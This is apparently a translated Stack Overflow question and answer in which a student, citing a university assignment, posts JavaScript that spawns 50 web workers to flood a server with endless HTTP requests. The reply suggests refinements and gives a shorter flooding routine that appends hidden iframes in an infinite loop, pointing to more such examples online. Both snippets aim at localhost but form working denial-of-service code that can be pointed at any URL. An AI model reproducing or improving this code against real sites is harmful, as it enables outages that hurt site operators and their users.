在大学里,我们有一个“家庭作业”来尝试执行拒绝服务攻击。我决定改过自新。我试图使用JavaScript执行它。
的问题是:
index.html:
<script>
for(var i = 0; i< 50; i++) {
worker = new Worker("worker.js");
worker.postMessage('Hello World');
}
</script>worker.js:
self.addEventListener('message', function(e) {
while(1) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", "http://127.0.0.1", true);
xmlHttp.send(null);
}
}, false);谢谢您的投入!
发布于 2017-05-15 21:10:47
因此,首先,如果我能够改进这段代码,我将使用setInterval而不是while(1)。其次,我在这里发现了一个简单得多的版本:
function _DDoS(url){
document.body.innerHTML+='<iframe src="'+url+'" style="display:none;"> </iframe>';
}
for(;;){
setTimeout(_DDoS("http://localhost"),10);
}只要搜索javascript ddos,您就会发现许多例子。
https://stackoverflow.com/questions/43154680
复制相似问题